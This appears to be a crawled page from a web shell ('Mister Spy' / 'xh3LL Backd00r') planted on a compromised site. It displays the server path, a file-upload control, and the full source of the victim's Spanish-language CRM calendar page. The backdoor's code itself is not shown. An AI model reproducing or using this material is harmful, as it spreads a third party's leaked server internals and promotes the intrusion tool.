Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/admin/
Upload File :
Current File : /home/caballoscriollos/public_html/web/admin/calendario.php

<?php 

require_once('../inc_library_front.php');

/* verificamos si posee permisos */
if (!Session::CheckPerm(Modulo::Leads))
	Session::NoPerm();

/* obtenemos datos enviados */
$filter		= ReceiveArray($_REQUEST['filter']);
$Page 		= intval($_REQUEST['Page']);
$PageSize 	= 100; //intval($_REQUEST['PageSize']);
$Action 	= strval($_REQUEST['MainAction']);
$Id			= intval($_REQUEST['Id']);
$Submit		= (isset($_REQUEST['Submitted']));

/* declaramos e instanciamos variables necesarias */
$arrData 			= array();
$oConsultas			= new Consultas();
$oUsuarios			= new Usuarios();
$oOrigenesDatos		= new OrigenesDatos();
$oAdministradores	= new Administradores();
$oEstadosConsultas	= new EstadosConsultas();
$oRubros			= new Rubros();
$oConsultasTareas	= new ConsultasTareas();
$oOrigenesDatos		= new OrigenesDatos();
$oPage 				= new Page($Page, $PageSize);

/* armamos el filtro en caso de que no este armado */
if ((!isset($filter)) || (IsEmptyArray($filter)) || ($Submit))
{
	$filter = array();
	$filter['Nombre'] 		= trim($_REQUEST['Nombre']);
	$filter['Apellido'] 	= trim($_REQUEST['Apellido']);
	$filter['Email'] 		= trim($_REQUEST['Email']);
	$filter['IdEstado']		= trim($_REQUEST['IdEstado']);
	$filter['IdRubro']		= trim($_REQUEST['IdRubro']);
	$filter['IdOrigenDato']	= trim($_REQUEST['IdOrigenDato']);
}

/* si el filtro esta aplicado mantiene el filtro */
$filterStyle 	= (IsEmptyArray($filter)) 	? "display:none;" : "";
$filterMostrar 	= (!IsEmptyArray($filter)) 	? "display:none;" : "";

$filter['ConRespuestaIdUsuario'] = $_REQUEST['FilterIdUsuario'];

$Paginado	= Pageable::PrintPaginator($oPage, $oConsultas->GetCountRows($filter), true);
$arrData 	= $oConsultas->GetAll($filter, $oPage);

/* ejecuta la accion solicitada... */
switch ($Action)
{
	case 'DeleteMultiple':
	
		$arrDelete = (isset($_REQUEST['IdSelected'])) ? $_REQUEST['IdSelected'] : array();

		if ($arrDelete)
		{
			foreach ($arrDelete as $IdConsulta)
				$oConsultas->Delete($IdConsulta);
		}

		/* obtenemos listado con los datos modificados */			
		$Paginado	= Pageable::PrintPaginator($oPage, $oConsultas->GetCountRows($filter), true);
		$arrData 	= $oConsultas->GetAll($filter, $oPage);
		
		break;
		
	default:
		break;
}

$arrRubros				= $oRubros->GetAll(array('IdEstado' => 1));
$arrOrigenesDatos		= $oOrigenesDatos->GetAll(array('IdEstado' => 1));
$arrEstadosConsultas	= $oEstadosConsultas->GetAll(array('IdEstado' => 1));

$strParams = '';
$strParams.= '?Page=' 		. $Page;
$strParams.= '&PageSize=' 	. $PageSize;
$strParams.= '&filter=' 	. SendArray($filter);
?>
<!DOCTYPE html>
<html>
    <head>
        <?php include("ssi_head_inc.php"); ?>
	</head>
    <body class="fixed-left">

        <!-- Begin page -->
        <div id="wrapper">

            <?php include("ssi_header.php"); ?>

			<?php include("ssi_menu.php"); ?>
			
			<!-- ============================================================== -->
            <!-- Start right Content here -->
            <!-- ============================================================== -->
            <div class="content-page">
                <!-- Start content -->
                <div class="content">
                    <div class="container">
                    
                    	<div class="row">
							<div class="col-sm-12">
								<h4 class="page-title">Calendario</h4>
								<ol class="breadcrumb">
									<li>
										<a>Crm</a>
									</li>
									<li class="active">
										Calendario
									</li>
								</ol>
								
							</div>
						</div>
						<div class="row">
                        	<div class="col-sm-12 text-right">
                        		 <a href="leads_add.php<?= $strParams ?>" class="btn btn-default btn-md waves-effect waves-light m-b-0"><i class="md md-add"></i> Agregar Lead</a>
                        	</div>
                        </div>
                    	<div class="row m-t-20">
                    		<div class="col-xs-12">
                    			<div class="card-box">
                                    <div id="calendar"></div>
                                </div>
                            </div>
						</div>
					</div>
				</div>
			</div>
		</div>
		<?php include("ssi_scripts.php"); ?>
		<script type="text/javascript" src="js/jquery.calendar.leads.js"></script>

		<script language="javascript">

		</script>

	</body>
</html>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat